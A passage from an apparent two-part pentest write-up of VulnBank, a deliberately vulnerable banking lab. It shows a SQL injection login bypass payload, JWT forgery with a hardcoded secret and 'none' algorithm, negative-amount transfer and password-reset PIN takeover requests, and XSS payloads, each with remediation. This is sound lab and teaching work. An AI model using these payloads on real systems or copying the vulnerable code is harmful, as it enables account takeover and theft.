<p>This is not a logic edge case. This is a financial theft primitive.</p>

<h3 id="reproducing-it-1">Reproducing It</h3>

<p>Noted the starting balances of both accounts, then sent a transfer with a negative amount:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/transfer</span><span class="w">
</span><span class="p">{</span><span class="w">
  </span><span class="nl">"to_account"</span><span class="p">:</span><span class="w"> </span><span class="s2">"4664359451"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"amount"</span><span class="p">:</span><span class="w"> </span><span class="mi">-500</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Response: <code class="language-plaintext highlighter-rouge">"Transfer Completed"</code></p>

<p>The sender’s balance increased by $500. The recipient lost $500.</p>

<p>Sent money to another account and the platform reversed the transaction direction — stealing from the recipient and crediting the attacker. Zero-value transfers were also accepted with no error.</p>

<p><strong>Starting Balances Before Attack:</strong><br />
<img src="/assets/images/VULNBANK/starting-balance.png" alt="Starting balances before the attack" /></p>

<p><strong>Negative Amount Transfer Accepted — $500 Stolen:</strong><br />
<img src="/assets/images/VULNBANK/negative-transfers.png" alt="Negative amount transfer accepted — $500 stolen" /></p>

<p><strong>Balances After Attack — Attacker Gained $500, Victim Lost $500:</strong><br />
<img src="/assets/images/VULNBANK/after-transfers.png" alt="Balances after — attacker gained, victim lost" /></p>

<p><strong>Zero Amount Transfer Accepted:</strong><br />
<img src="/assets/images/VULNBANK/zero-amount.png" alt="Zero amount transfer accepted with no error" /></p>

<p><strong>Transaction History of both Users:</strong><br />
<img src="/assets/images/VULNBANK/transac-history.png" alt="HISTORY " /></p>

<h3 id="impact-2">Impact</h3>

<p>Any authenticated user can drain funds from any account they know the account number for (which BOLA already provides). Combined with VB-005, an attacker enumerates all accounts and systematically drains every balance on the platform. This is the most direct financial damage vector in the application.</p>

<h3 id="remediation-2">Remediation</h3>

<p>Reject any amount at or below zero at the API validation layer. Enforce minimum transaction amounts. Add balance sufficiency checks before processing. Implement daily transfer limits and idempotency keys. Use integer arithmetic (cents) rather than floating-point for all monetary values. Add database-level CHECK constraints as a last line of defence.</p>

<hr />

<h2 id="finding-vb-008--weak-password-reset-mechanism">Finding VB-008 — Weak Password Reset Mechanism</h2>

<p><strong>Severity:</strong> Critical<br />
<strong>CVSS:</strong> 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<br />
<strong>CWE:</strong> CWE-640 Weak Password Recovery Mechanism + CWE-200 Exposure of Sensitive Information<br />
<strong>OWASP:</strong> A07:2021 Identification and Authentication Failures</p>

<h3 id="what-happened-3">What Happened</h3>

<p>The password reset functionality ships in three API versions. Version 1 returns the reset PIN directly in the JSON response. The v2 and v3 endpoints hide the PIN but use 3-4 digit numeric codes with no rate limiting and no account lockout. All three versions allow full account takeover. V1 does it in one request.</p>

<h3 id="part-a--v1-pin-exposure">Part A — v1 PIN Exposure</h3>

<p>Sent a password reset request for any username:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/api/v</span><span class="mi">1</span><span class="err">/forgot-password</span><span class="w">
</span><span class="p">{</span><span class="nl">"username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"qxvat7r"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Response:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"debug_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"pin"</span><span class="p">:</span><span class="w"> </span><span class="s2">"501"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"pin_length"</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w">
    </span><span class="nl">"username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"qxvat7r"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The PIN is in the response. Used it immediately:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/api/v</span><span class="mi">1</span><span class="err">/reset-password</span><span class="w">
</span><span class="p">{</span><span class="nl">"username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"qxvat7r"</span><span class="p">,</span><span class="w"> </span><span class="nl">"pin"</span><span class="p">:</span><span class="w"> </span><span class="s2">"501"</span><span class="p">,</span><span class="w"> </span><span class="nl">"new_password"</span><span class="p">:</span><span class="w"> </span><span class="s2">"attacker123"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Account taken over. No email access required. No interaction from the victim.</p>

<p><strong>v1 API — PIN Exposed Directly in API Response:</strong><br />
<img src="/assets/images/VULNBANK/v1-pin.png" alt="v1 API returning the reset PIN in the debug_info field" /></p>

<p><strong>Swagger Documentation Confirming v1 PIN Exposure, v2/v3 Weak PINs:</strong><br />
<img src="/assets/images/VULNBANK/reset-docs.png" alt="Swagger docs showing all three API versions" /></p>

<h3 id="part-b--v2v3-brute-force">Part B — v2/v3 Brute-Force</h3>

<p>v2 uses a 3-digit PIN (1,000 possible values). v3 uses a 4-digit PIN (10,000 possible values). Neither version implements rate limiting or account lockout. Burp Intruder or a simple Python loop exhausts the entire keyspace in seconds to minutes.</p>

<p><strong>v2 API — PIN Hidden but Still 3-Digit (Brute-Forceable):</strong><br />
<img src="/assets/images/VULNBANK/v2-pin.png" alt="v2 — PIN hidden but 3-digit and brute-forceable" /></p>

<p><strong>v3 API — PIN Hidden but  4-Digit (takes longer time but Brute-Forceable ):</strong>
<img src="/assets/images/VULNBANK/intruder.png" alt="v3 — 4-digit PIN takes longer but still brute-forceable" /></p>

<h3 id="api-version-comparison">API Version Comparison</h3>

<table>
  <thead>
    <tr>
      <th>Version</th>
      <th>PIN Length</th>
      <th>PIN in Response</th>
      <th>Max Attempts</th>
      <th>Secure?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>v1</td>
      <td>3 digits</td>
      <td>Exposed directly</td>
      <td>1</td>
      <td>Critical</td>
    </tr>
    <tr>
      <td>v2</td>
      <td>3 digits</td>
      <td>Hidden</td>
      <td>1,000</td>
      <td>High risk</td>
    </tr>
    <tr>
      <td>v3</td>
      <td>4 digits</td>
      <td>Hidden</td>
      <td>10,000</td>
      <td>High risk</td>
    </tr>
  </tbody>
</table>

<p>None of the three versions are acceptable.</p>

<h3 id="impact-3">Impact</h3>

<p>An unauthenticated attacker with only a username can take over any account on the platform via v1. No email access required. For v2 and v3, the brute-force window is trivially small with no rate limiting. This completely undermines the entire authentication model as regardless of password strength, any account can be reset from the outside.</p>

<h3 id="remediation-3">Remediation</h3>

<p>Disable the v1 endpoint immediately. Implement rate limiting across all versions —&gt; maximum 3-5 attempts per account per hour. Replace the PIN mechanism entirely: generate a cryptographically random token, send it via email (not in the API response), set a 15-minute expiration. Remove all <code class="language-plaintext highlighter-rouge">debug_info</code> blocks from production responses. Audit all API versions for similar patterns.</p>

<hr />

<h2 id="findings-summary--posts-1-and-2">Findings Summary — Posts 1 and 2</h2>

<table>
  <thead>
    <tr>
      <th>ID</th>
      <th>Finding</th>
      <th>Severity</th>
      <th>CVSS</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>VB-001</td>
      <td>Unauthenticated API Documentation Exposure</td>
      <td>High</td>
      <td>7.5</td>
    </tr>
    <tr>
      <td>VB-002</td>
      <td>SQL Injection Authentication Bypass</td>
      <td>Critical</td>
      <td>9.8</td>
    </tr>
    <tr>
      <td>VB-003</td>
      <td>Weak JWT Implementation</td>
      <td>Critical</td>
      <td>9.1</td>
    </tr>
    <tr>
      <td>VB-004</td>
      <td>Stored XSS and JWT Token Theft</td>
      <td>High</td>
      <td>8.3</td>
    </tr>
    <tr>
      <td>VB-005</td>
      <td>Broken Object Level Authorization</td>
      <td>High</td>
      <td>8.1</td>
    </tr>
    <tr>
      <td>VB-006</td>
      <td>Mass Assignment and Excessive Data Exposure</td>
      <td>High</td>
      <td>8.6</td>
    </tr>
    <tr>
      <td>VB-007</td>
      <td>Insufficient Transaction Validation</td>
      <td>Critical</td>
      <td>9.1</td>
    </tr>
    <tr>
      <td>VB-008</td>
      <td>Weak Password Reset Mechanism</td>
      <td>Critical</td>
      <td>9.8</td>
    </tr>
  </tbody>
</table>

<p>Eight findings across two posts. Four criticals, four highs. Every single authentication and authorization control in the application has failed.</p>

<hr />

<h2 id="what-did-we-learn">What Did We Learn?</h2>

<p><strong>1. BOLA is the most common API vulnerability for a reason</strong><br />
Every endpoint that uses an identifier from the URL is a potential BOLA. The question is always: does the server verify ownership before responding? In VulnBank the answer was no across five endpoints. In real fintech APIs, this pattern shows up constantly — especially on older or rushed implementations where authorization was added as an afterthought.</p>

<p><strong>2. Mass Assignment happens when the server trusts the client’s field names</strong><br />
Passing the raw request body directly to a database update query is the root cause. The application has no concept of which fields are allowed to change for a given endpoint. Allowlists at the schema validation layer are the only reliable fix.</p>

<p><strong>3. Negative amounts in financial APIs are a theft primitive, not an edge case</strong><br />
The moment a transfer endpoint accepts negative values, the transaction direction can be reversed. This is not a subtle logic bug — it is a direct financial attack vector. Amount validation should be the first check before any transaction is processed.</p>

<p><strong>4. Debug information in production API responses is a critical finding</strong><br />
The v1 forgot-password endpoint returned the reset PIN in a <code class="language-plaintext highlighter-rouge">debug_info</code> field. Debug output that makes development convenient becomes a critical vulnerability in production. Every <code class="language-plaintext highlighter-rouge">debug_info</code>, stack trace, and internal message that reaches the client is a potential finding.</p>

<p><strong>5. API versioning without security review creates an attack surface</strong><br />
VulnBank ships three versions of the password reset API with progressively better but still inadequate security. Old API versions rarely get decommissioned and often bypass newer security controls applied to the current version. Always include all active API versions in scope during a pentest.</p>

<p><strong>Next post:</strong> SSRF via the profile picture URL endpoint, path traversal in file uploads, and internal endpoint access.</p>

<hr />

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExdW95MWNrcTA5cnN0b2E3enkwc2p0ZzB4enpmYXVhODUwMDhmejdncCZlcD12MV9naWZzX3NlYXJjaCZjdD1n/oPQJidn1zDv2UomYO9/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<table>
  <tbody>
    <tr>
      <td>*Written by 0x5h4q</td>
      <td><a href="https://0x5h4q.github.io">0x5h4q.github.io</a>*</td>
    </tr>
  </tbody>
</table>]]></content><author><name>0x5h4q</name></author><category term="VulnBank" /><category term="Web Security" /><category term="vulnbank" /><category term="bola" /><category term="mass-assignment" /><category term="broken-access-control" /><category term="transaction-validation" /><category term="password-reset" /><category term="api-security" /><category term="owasp" /><category term="cwe-639" /><category term="cwe-915" /><category term="cwe-20" /><category term="cwe-640" /><category term="mini-series" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">VulnBank Series #1 — Recon, SQLi Auth Bypass &amp;amp; JWT Forgery</title><link href="https://0x5h4q.github.io/vulnbank/web%20security/VulnBank-Part1-writeup/" rel="alternate" type="text/html" title="VulnBank Series #1 — Recon, SQLi Auth Bypass &amp;amp; JWT Forgery" /><published>2026-07-15T00:00:00+01:00</published><updated>2026-07-15T00:00:00+01:00</updated><id>https://0x5h4q.github.io/vulnbank/web%20security/VulnBank-Part1-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/vulnbank/web%20security/VulnBank-Part1-writeup/"><![CDATA[<style>
p { text-align: justify; }
</style>

<p><strong>Target:</strong> VulnBank — Deliberately Vulnerable Banking Application<br />
<strong>Series:</strong> VulnBank Pentest Mini-Series<br />
<strong>Post:</strong> 1 of others-_-<br />
<strong>Scope:</strong> <code class="language-plaintext highlighter-rouge">http://localhost:5000</code></p>

<hr />

<h2 id="what-is-vulnbank">What is VulnBank?</h2>

<p><img src="/assets/images/VULNBANK/homepage.png" alt="Banner" /></p>

<p>VulnBank is a deliberately vulnerable banking application built for practising application security testing, API security, and secure code review. It simulates a real fintech platform with features like user authentication, money transfers, virtual cards, bill payments, merchant APIs, and an AI customer support agent. All intentionally broken in realistic ways ฅ(^•ﻌ•^ฅ).</p>

<p>This series documents a full penetration test of VulnBank from first visit to complete compromise. Each post focuses on a specific vulnerability class. Every finding is documented with the actual request, the vulnerable code, and the remediation.</p>

<p>Post 1 covers the three findings that fell within the first hour of testing: unauthenticated API documentation exposure, SQL injection authentication bypass, and a critically weak JWT implementation.</p>

<hr />

<h2 id="methodology">Methodology</h2>

<p>Testing followed the OWASP Web Security Testing Guide (WSTG) v4.2 and OWASP API Security Top 10 (2023). Tooling used throughout this post: Burp Suite for request interception and manipulation, curl for quick API probing, and jwt.io for token analysis.</p>

<hr />

<h2 id="finding-vb-001--unauthenticated-api-documentation-exposure">Finding VB-001 — Unauthenticated API Documentation Exposure</h2>

<p><strong>Severity:</strong> High<br />
<strong>CVSS:</strong> 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)<br />
<strong>CWE:</strong> CWE-200 Exposure of Sensitive Information<br />
<strong>OWASP:</strong> A05:2021 Security Misconfiguration</p>

<h3 id="what-happened">What Happened</h3>

<p>First thing on any web application is to look for documentation. Browsed to <code class="language-plaintext highlighter-rouge">/api/docs/</code> and the full Swagger UI loaded with zero authentication prompt. The OpenAPI spec at <code class="language-plaintext highlighter-rouge">/static/openapi.json</code> was equally open.</p>

<p>This is not just a low-severity “information disclosure.” The Swagger docs exposed the entire attack surface of the application in one page:</p>

<ul>
  <li>Admin endpoints: <code class="language-plaintext highlighter-rouge">/sup3r_s3cr3t_admin</code>, <code class="language-plaintext highlighter-rouge">/admin/create_admin</code>, <code class="language-plaintext highlighter-rouge">/admin/delete_account/{user_id}</code></li>
  <li>Internal SSRF endpoints: <code class="language-plaintext highlighter-rouge">/internal/secret</code>, <code class="language-plaintext highlighter-rouge">/internal/config.json</code>, <code class="language-plaintext highlighter-rouge">/latest/meta-data/iam/security-credentials/vulnbank-role</code></li>
  <li>AI system endpoints: <code class="language-plaintext highlighter-rouge">/api/ai/system-info</code>, <code class="language-plaintext highlighter-rouge">/api/ai/chat/anonymous</code></li>
</ul>

<p>In a real fintech engagement, this cuts reconnaissance time from days to minutes. The attacker already knows every endpoint, every parameter, and every expected response format before they send a single malicious request.</p>

<p><img src="/assets/images/VULNBANK/docs.png" alt="Swagger UI accessible without authentication" /></p>

<p><img src="/assets/images/VULNBANK/admin-endpoint.png" alt="Admin and internal endpoints exposed in documentation" /></p>

<p><img src="/assets/images/VULNBANK/internal-ssrf.png" alt="Internal Endpoints exposed in the documentation" /></p>

<h3 id="impact">Impact</h3>

<p>Complete API surface mapping without authentication. An attacker discovers hidden admin endpoints, SSRF targets, and AI integration details before sending a single crafted request.</p>

<h3 id="remediation">Remediation</h3>

<p>Disable Swagger UI entirely in production. If internal API documentation is needed, deploy it behind authentication with role-based access control. Never document internal-only or administrative endpoints in a publicly accessible specification.</p>

<hr />

<h2 id="finding-vb-002--sql-injection-authentication-bypass">Finding VB-002 — SQL Injection Authentication Bypass</h2>

<p><strong>Severity:</strong> Critical<br />
<strong>CVSS:</strong> 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<br />
<strong>CWE:</strong> CWE-89 SQL Injection<br />
<strong>OWASP:</strong> A03:2021 Injection</p>

<h3 id="what-happened-1">What Happened</h3>

<p>The login endpoint at <code class="language-plaintext highlighter-rouge">/login</code> accepts a JSON body with <code class="language-plaintext highlighter-rouge">username</code> and <code class="language-plaintext highlighter-rouge">password</code>. Intercepted the request in Burp and sent it to Repeater. Replaced the username with a classic SQL injection payload:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"admin' OR '1'='1"</span><span class="p">,</span><span class="w"> </span><span class="nl">"password"</span><span class="p">:</span><span class="w"> </span><span class="s2">"anything"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The response came back immediately with <code class="language-plaintext highlighter-rouge">"is_admin": true</code> and a valid JWT session token. Full administrative access without knowing any credentials.</p>

<p>The reason this works is simple: the application constructs the SQL query using Python string interpolation rather than parameterised statements. The injected payload modifies the query logic so that the WHERE clause evaluates to true for every row, and the first matching user (the admin) is returned.</p>

<p><img src="/assets/images/VULNBANK/jwt.png" alt="SQL injection payload in Burp Repeater confirming admin access" /></p>

<p>With the admin JWT in hand, navigating to <code class="language-plaintext highlighter-rouge">/sup3r_s3cr3t_admin</code> confirmed full access to the administrative dashboard.</p>

<p><img src="/assets/images/VULNBANK/dashboard.png" alt="Admin dashboard accessed without valid credentials" /></p>

<p><img src="/assets/images/VULNBANK/secret.png" alt="Admin panel at the secret endpoint" /></p>

<h3 id="vulnerable-code">Vulnerable Code</h3>

<p>The problem is exactly what you’d expect from a lazy dev(-_-)…string interpolation directly into a SQL query:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># database.py — vulnerable pattern
</span><span class="n">query</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"SELECT * FROM users WHERE username = '</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">' AND password = '</span><span class="si">{</span><span class="n">password</span><span class="si">}</span><span class="s">'"</span>
<span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
</code></pre></div></div>

<p>When the payload <code class="language-plaintext highlighter-rouge">admin' OR '1'='1</code> is inserted, the executed query becomes:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">username</span> <span class="o">=</span> <span class="s1">'admin'</span> <span class="k">OR</span> <span class="s1">'1'</span><span class="o">=</span><span class="s1">'1'</span> <span class="k">AND</span> <span class="n">password</span> <span class="o">=</span> <span class="s1">'anything'</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">OR '1'='1'</code> condition is always true. The query returns the first user in the table — the admin.</p>

<h3 id="impact-1">Impact</h3>

<p>An unauthenticated attacker gains complete administrative control over the banking platform. From that position, every other vulnerability in the application becomes accessible. This single finding enables full compromise of all customer accounts, transaction history, and virtual card data. In a production fintech environment, this is game over.</p>

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExeXRqeGF4YTJ5ZnFvNm1qY2tnemlramttdzg3bTV1a3lpNW54bDVkbyZlcD12MV9naWZzX3NlYXJjaCZjdD1n/LXbVibea2FMoIlqnhv/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<h3 id="remediation-1">Remediation</h3>

<p>Replace all string-interpolated queries with parameterised statements:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Correct implementation
</span><span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span>
    <span class="s">"SELECT * FROM users WHERE username = %s AND password = %s"</span><span class="p">,</span>
    <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="p">)</span>
</code></pre></div></div>

<p>Additionally: implement input validation before database interaction, apply least-privilege to the database user account, and adopt an ORM with built-in sanitisation.</p>

<hr />

<h2 id="finding-vb-003--weak-jwt-implementation-signature-forgery-and-privilege-escalation">Finding VB-003 — Weak JWT Implementation: Signature Forgery and Privilege Escalation</h2>

<p><strong>Severity:</strong> Critical<br />
<strong>CVSS:</strong> 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)<br />
<strong>CWE:</strong> CWE-347 Improper Verification of Cryptographic Signature<br />
<strong>OWASP:</strong> A07:2021 Identification and Authentication Failures</p>

<h3 id="what-happened-2">What Happened</h3>

<p>After obtaining a JWT from the SQL injection bypass, inspecting the token at jwt.io revealed the signing secret as <code class="language-plaintext highlighter-rouge">secret123</code> —&gt; hardcoded directly in <code class="language-plaintext highlighter-rouge">auth.py</code>. Damn. The token also carried no expiration claim, meaning once issued it is valid forever.</p>

<p>Worse, reading the source code revealed the verification logic accepts the <code class="language-plaintext highlighter-rouge">none</code> algorithm alongside <code class="language-plaintext highlighter-rouge">HS256</code>. When initial verification fails, it falls back to accepting tokens with no signature at all.</p>

<p>Three critical failures stacked on top of each other:</p>

<ol>
  <li>Hardcoded weak secret (<code class="language-plaintext highlighter-rouge">secret123</code>) discoverable from source code</li>
  <li><code class="language-plaintext highlighter-rouge">none</code> algorithm accepted — signature can be stripped entirely</li>
  <li>No <code class="language-plaintext highlighter-rouge">exp</code> claim — tokens never expire</li>
</ol>

<h3 id="exploiting-it">Exploiting It</h3>

<p>Using a legitimately registered low-privilege account:</p>

<ol>
  <li>Logged in normally and captured the JWT</li>
  <li>Pasted the token into jwt.io</li>
  <li>Decoded the payload and changed <code class="language-plaintext highlighter-rouge">"is_admin": false</code> to <code class="language-plaintext highlighter-rouge">"is_admin": true</code></li>
  <li>Entered <code class="language-plaintext highlighter-rouge">secret123</code> in the signature verification field</li>
  <li>Copied the re-signed token</li>
  <li>Used the forged token to access <code class="language-plaintext highlighter-rouge">/sup3r_s3cr3t_admin</code></li>
</ol>

<p>Full admin access from a standard user account without touching the login form.</p>

<p><img src="/assets/images/VULNBANK/weak-secret.png" alt="Hardcoded weak secret and none algorithm in source code" /></p>

<p><img src="/assets/images/VULNBANK/forged-token.png" alt="Forging an admin token on jwt.io" /></p>

<p><img src="/assets/images/VULNBANK/forget-token-worked.png" alt="Admin access achieved with forged token" /></p>

<h3 id="vulnerable-code-1">Vulnerable Code</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># auth.py — three vulnerabilities in one file
</span>
<span class="n">JWT_SECRET</span> <span class="o">=</span> <span class="s">"secret123"</span>           <span class="c1"># Hardcoded weak secret (CWE-326)
</span><span class="n">ALGORITHMS</span> <span class="o">=</span> <span class="p">[</span><span class="s">'HS256'</span><span class="p">,</span> <span class="s">'none'</span><span class="p">]</span>     <span class="c1"># Accepts unsigned tokens (CWE-347)
</span>
<span class="k">def</span> <span class="nf">generate_token</span><span class="p">(</span><span class="n">user_id</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">is_admin</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span>
    <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">'user_id'</span><span class="p">:</span> <span class="n">user_id</span><span class="p">,</span>
        <span class="s">'username'</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span>
        <span class="s">'is_admin'</span><span class="p">:</span> <span class="n">is_admin</span><span class="p">,</span>
        <span class="c1"># No 'exp' claim — tokens never expire (CWE-613)
</span>        <span class="s">'iat'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="n">utcnow</span><span class="p">()</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">JWT_SECRET</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="s">'HS256'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">verify_token</span><span class="p">(</span><span class="n">token</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">payload</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">JWT_SECRET</span><span class="p">,</span> <span class="n">algorithms</span><span class="o">=</span><span class="n">ALGORITHMS</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">payload</span>
    <span class="k">except</span> <span class="n">jwt</span><span class="p">.</span><span class="n">exceptions</span><span class="p">.</span><span class="n">InvalidSignatureError</span><span class="p">:</span>
        <span class="c1"># Falls back to NO verification if signature fails
</span>        <span class="k">try</span><span class="p">:</span>
            <span class="n">payload</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">options</span><span class="o">=</span><span class="p">{</span><span class="s">'verify_signature'</span><span class="p">:</span> <span class="bp">False</span><span class="p">})</span>
            <span class="k">return</span> <span class="n">payload</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">None</span>
</code></pre></div></div>

<h3 id="impact-2">Impact</h3>

<p>Any attacker who obtains the JWT secret from source code, the public repository, or brute force, can forge valid tokens for any account including administrators. Combined with the <code class="language-plaintext highlighter-rouge">none</code> algorithm acceptance, even without the secret, tokens can be stripped of their signature and modified freely. The missing expiration means stolen tokens provide permanent access with no automatic remediation path.</p>

<h3 id="remediation-2">Remediation</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">secrets</span>

<span class="c1"># Generate strong secret — store in environment variable, never in code
</span><span class="n">JWT_SECRET</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'JWT_SECRET'</span><span class="p">)</span>

<span class="c1"># Only accept HS256
</span><span class="n">ALGORITHMS</span> <span class="o">=</span> <span class="p">[</span><span class="s">'HS256'</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">generate_token</span><span class="p">(</span><span class="n">user_id</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">is_admin</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span>
    <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">'user_id'</span><span class="p">:</span> <span class="n">user_id</span><span class="p">,</span>
        <span class="s">'username'</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span>
        <span class="s">'is_admin'</span><span class="p">:</span> <span class="n">is_admin</span><span class="p">,</span>
        <span class="s">'exp'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="n">utcnow</span><span class="p">()</span> <span class="o">+</span> <span class="n">datetime</span><span class="p">.</span><span class="n">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="mi">1</span><span class="p">),</span>
        <span class="s">'iat'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="n">utcnow</span><span class="p">()</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">JWT_SECRET</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="s">'HS256'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">verify_token</span><span class="p">(</span><span class="n">token</span><span class="p">):</span>
    <span class="c1"># No fallback — reject anything that fails verification
</span>    <span class="n">payload</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">JWT_SECRET</span><span class="p">,</span> <span class="n">algorithms</span><span class="o">=</span><span class="p">[</span><span class="s">'HS256'</span><span class="p">])</span>
    <span class="k">return</span> <span class="n">payload</span>
</code></pre></div></div>

<p>Additionally: implement token revocation for logout and privilege changes, and store secrets in a secrets manager rather than environment variables where possible.</p>

<hr />

<h2 id="finding-vb-004--stored-xss-and-jwt-token-theft-via-localstorage">Finding VB-004 — Stored XSS and JWT Token Theft via localStorage</h2>

<p><strong>Severity:</strong> High<br />
<strong>CVSS:</strong> 8.3 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)<br />
<strong>CWE:</strong> CWE-79 Cross-Site Scripting + CWE-312 Cleartext Storage of Sensitive Information<br />
<strong>OWASP:</strong> A03:2021 Injection / A04:2021 Insecure Design</p>

<h3 id="what-happened-3">What Happened</h3>

<p>Two separate vulnerabilities that become a full account takeover chain when combined.</p>

<p><em>*First</em>: the application stores JWT session tokens in <code class="language-plaintext highlighter-rouge">localStorage</code>. This means any JavaScript running on the page can read them. The source code even acknowledges this explicitly with a comment: <code class="language-plaintext highlighter-rouge">// Vulnerability: Token stored in localStorage</code>.</p>

<p>*Second**: multiple places in the application reflect user input directly into the DOM without sanitisation. The admin dashboard search bar is reflected XSS. The user profile bio field is stored XSS — meaning the payload persists in the database and fires for every user who views the profile.</p>

<p>Put them together: an attacker sets their bio to a payload that reads the admin’s JWT from <code class="language-plaintext highlighter-rouge">localStorage</code> and sends it to an attacker-controlled server. The next time any administrator views that profile through the user management panel, the payload fires silently and the admin’s session token is exfiltrated.</p>

<h3 id="part-a--reflected-xss-in-admin-search">Part A — Reflected XSS in Admin Search</h3>

<p>Log into the admin dashboard at <code class="language-plaintext highlighter-rouge">/sup3r_s3cr3t_admin</code>. In the user search bar, enter:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">x</span> <span class="na">onerror=</span><span class="s">alert('XSS')</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>The alert fires immediately. No encoding, no sanitisation, direct DOM reflection.</p>

<p><img src="/assets/images/VULNBANK/reflected-xss.png" alt="Reflected XSS executing in admin search bar" /></p>

<h3 id="part-b--stored-xss-via-user-bio">Part B — Stored XSS via User Bio</h3>

<p>Navigate to the profile section of any user account and update the bio with:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">x</span> <span class="na">onerror=</span><span class="s">alert('XSS')</span><span class="nt">&gt;</span>
</code></pre></div></div>

